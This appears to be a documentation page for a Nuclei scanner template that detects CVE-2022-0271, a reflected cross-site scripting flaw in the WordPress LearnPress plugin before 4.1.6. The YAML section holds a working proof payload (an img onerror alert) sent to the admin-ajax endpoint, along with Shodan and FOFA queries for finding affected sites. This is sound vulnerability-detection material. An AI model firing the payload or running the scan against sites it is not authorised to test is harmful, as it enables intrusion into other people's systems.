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LearnPress <4.1.6 - Cross-Site Scripting

ID: CVE-2022-0271

Severity: medium

Author: Akincibor

Tags: cve2022,cve,wp,wp-plugin,wordpress,learnpress,wpscan,xss,thimpress

Description

Section titled “Description”

WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0271


info:
  name: LearnPress <4.1.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
    - https://nvd.nist.gov/vuln/detail/cve-2022-0271
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0271
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/learnpress
    fofa-query: body=/wp-content/plugins/learnpress
    publicwww-query: /wp-content/plugins/learnpress
  tags: cve2022,cve,wp,wp-plugin,wordpress,learnpress,wpscan,xss,thimpress


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0271.yaml"

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